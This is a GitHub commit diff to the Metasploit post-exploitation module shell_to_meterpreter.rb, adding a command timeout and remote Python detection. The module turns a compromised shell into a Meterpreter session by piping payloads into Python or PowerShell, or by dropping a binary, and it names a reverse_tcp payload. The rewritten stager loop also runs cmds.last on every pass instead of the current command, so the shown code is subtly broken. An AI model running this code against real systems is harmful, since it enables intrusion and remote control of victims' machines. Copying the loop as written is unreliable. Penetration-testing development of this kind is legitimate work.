Skip to content

Commit a98f9a6

Browse files
authored
Land #16621, Fix timeout of duplicated sessions
2 parents a1613d6 + 7b75bd6 commit a98f9a6

File tree

1 file changed

+52
-18
lines changed

1 file changed

+52
-18
lines changed

modules/post/multi/manage/shell_to_meterpreter.rb

Lines changed: 52 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -45,11 +45,17 @@ def initialize(info = {})
4545
OptString.new('BOURNE_PATH',
4646
[false, 'Remote path to drop binary']),
4747
OptString.new('BOURNE_FILE',
48-
[false, 'Remote filename to use for dropped binary'])
48+
[false, 'Remote filename to use for dropped binary']),
49+
OptInt.new('COMMAND_TIMEOUT',
50+
[true, 'How long to wait (in seconds) for a result when executing a command on the remote machine.', 15]),
4951
])
5052
deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64')
5153
end
5254

55+
def command_timeout
56+
datastore['COMMAND_TIMEOUT']
57+
end
58+
5359
# Run method for when run command is issued
5460
def run
5561
print_status("Upgrading session ID: #{datastore['SESSION']}")
@@ -118,7 +124,7 @@ def run
118124
lplat = [Msf::Platform::OSX]
119125
larch = [ARCH_X64]
120126
vprint_status('Platform: OS X')
121-
elsif cmd_exec('python -V 2>&1') =~ /Python (2|3)\.(\d)/
127+
elsif remote_python_binary
122128
# Generic fallback for OSX, Solaris, Linux/ARM
123129
platform = 'python'
124130
payload_name = 'python/meterpreter/reverse_tcp'
@@ -176,7 +182,7 @@ def run
176182
cmd_exec("echo. | #{cmd_psh_payload(payload_data, psh_arch, psh_opts)}")
177183
else
178184
psh_opts[:remove_comspec] = true
179-
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts), nil, 15, { 'Channelized' => false })
185+
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts), nil, command_timeout, { 'Channelized' => false })
180186
end
181187
else
182188
print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL'
@@ -186,11 +192,11 @@ def run
186192
end
187193
when 'python'
188194
vprint_status('Transfer method: Python')
189-
cmd_exec("echo \"#{payload_data}\" | python")
195+
cmd_exec("echo \"#{payload_data}\" | #{remote_python_binary}", nil, command_timeout, { 'Channelized' => false })
190196
when 'osx'
191197
vprint_status('Transfer method: Python [OSX]')
192198
payload_data = Msf::Util::EXE.to_python_reflection(framework, ARCH_X64, payload_data, {})
193-
cmd_exec("echo \"#{payload_data}\" | python & disown")
199+
cmd_exec("echo \"#{payload_data}\" | #{remote_python_binary} & disown", nil, command_timeout, { 'Channelized' => false })
194200
else
195201
vprint_status('Transfer method: Bourne shell [fallback]')
196202
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
@@ -204,6 +210,29 @@ def run
204210
return nil
205211
end
206212

213+
#
214+
# Get the Python binary from the remote machine, if any, by running
215+
# a series of channelized `cmd_exec` calls.
216+
# @return String/nil A string if a Python binary can be found, else nil.
217+
#
218+
def remote_python_binary
219+
return @remote_python_binary if defined?(@remote_python_binary)
220+
221+
python_exists_regex = /Python (2|3)\.(\d)/
222+
223+
if cmd_exec('python3 -V 2>&1') =~ python_exists_regex
224+
@remote_python_binary = 'python3'
225+
elsif cmd_exec('python -V 2>&1') =~ python_exists_regex
226+
@remote_python_binary = 'python'
227+
elsif cmd_exec('python2 -V 2>&1') =~ python_exists_regex
228+
@remote_python_binary = 'python2'
229+
else
230+
@remote_python_binary = nil
231+
end
232+
233+
@remote_python_binary
234+
end
235+
207236
def transmit_payload(exe, platform)
208237
#
209238
# Generate the stager command array
@@ -249,22 +278,27 @@ def transmit_payload(exe, platform)
249278
#
250279
sent = 0
251280
aborted = false
252-
cmds.each do |cmd|
253-
ret = cmd_exec(cmd)
254-
if !ret
255-
aborted = true
256-
else
257-
ret.strip!
258-
aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./
259-
end
260-
if aborted
261-
print_error('Error: Unable to execute the following command: ' + cmd.inspect)
262-
print_error('Output: ' + ret.inspect) if ret && !ret.empty?
263-
break
281+
cmds.each.with_index do |cmd, i|
282+
# The last command should be fire-and-forget, otherwise issues occur where the original session waits
283+
# for an unlimited amount of time for the newly spawned session to exit.
284+
wait_for_cmd_result = i + 1 < cmds.length
285+
# Note that non-channelized cmd_exec calls currently return an empty string
286+
ret = cmd_exec(cmds.last, nil, command_timeout, { 'Channelized' => wait_for_cmd_result })
287+
if wait_for_cmd_result
288+
if !ret
289+
aborted = true
290+
else
291+
ret.strip!
292+
aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./
293+
end
294+
if aborted
295+
print_error('Error: Unable to execute the following command: ' + cmd.inspect)
296+
print_error('Output: ' + ret.inspect) if ret && !ret.empty?
297+
break
298+
end
264299
end
265300

266301
sent += cmd.length
267-
268302
progress(total_bytes, sent)
269303
end
270304
rescue ::Interrupt

0 commit comments

Comments
 (0)